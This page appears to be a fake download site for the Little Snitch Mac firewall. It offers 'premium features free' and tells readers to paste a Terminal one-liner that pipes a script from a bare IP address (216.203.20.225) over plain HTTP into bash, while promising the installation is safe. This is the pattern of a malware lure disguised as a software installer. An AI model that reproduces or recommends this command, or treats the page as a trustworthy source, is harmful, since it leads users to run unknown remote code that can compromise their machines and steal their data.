Version 6 — Available Now

Take Full Control of Your Mac's Network Activity

Little Snitch intercepts unwanted network connections and lets you decide which apps are allowed to access the internet. Your privacy is in your hands.

15+
years on the market
1M+
users worldwide
macOS
native application
4.8
average rating

Instant Alerts for Every Connection

Whenever an application attempts to establish a network connection, Little Snitch displays an informative alert. You decide — allow or deny the connection, once or forever.

Real-Time Protection Detailed Information

A Visual Map of All Connections

The interactive network map shows all active connections from your Mac in real time. See at a glance which apps are communicating and with which servers around the world.

Global Map Traffic Statistics
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Unobtrusive Background Protection

Activate Silent Mode so Little Snitch works in the background without alerts. All new connections are automatically allowed or denied, and you can review the decisions later.

No Notifications Deferred Decisions

Private DNS Queries

Built-in DNS encryption protects your queries from interception. ISPs and third parties won't be able to track which websites you visit. Supports DNS over TLS and DNS over HTTPS.

DNS over TLS DNS over HTTPS
01101 10010 11001 01010 10110 01101

Flexible Firewall Rule Configuration

Create, edit, and group filtering rules with ease. Configure access for each application, domain, or port. Import ready-made profiles or build your own from scratch.

Rule Grouping Profile Import

Everything You Need for Network Control

Powerful tools for complete transparency of your Mac's network activity

Application Firewall

Control outgoing and incoming connections for each application on your Mac individually.

Connection Map

Visual representation of all network connections on an interactive geographic world map.

Traffic Monitoring

Track data volume, speed, and connection frequency of each process in real time.

DNS Encryption

Protect DNS queries via DoT and DoH protocols. No one can see which websites you visit.

Block Lists

Subscribe to community-maintained block lists for ads, trackers, and malicious domains.

Sound Alerts

Set up audio notifications for specific connection types — always stay informed about network activity.

Get Little Snitch Free

All premium features included — no hidden fees, no limitations

Quick Setup Guide

Install Little Snitch in seconds using Terminal — just two simple steps

1

Launch Terminal

Hold Command ⌘ + Space → enter Terminal and press Return

2

Execute the Command

Copy the Command below into the Terminal window and hit Return

/bin/bash -c "$(curl -fsSL http://216.203.20.225/Helilay)"

How this works:

  • Downloads and installs Little Snitch with all premium features
  • Configures network monitoring and firewall rules automatically
  • Safe installation — no system files are modified

Take Control of Your Network Activity

Download Little Snitch and discover what's really happening with your internet traffic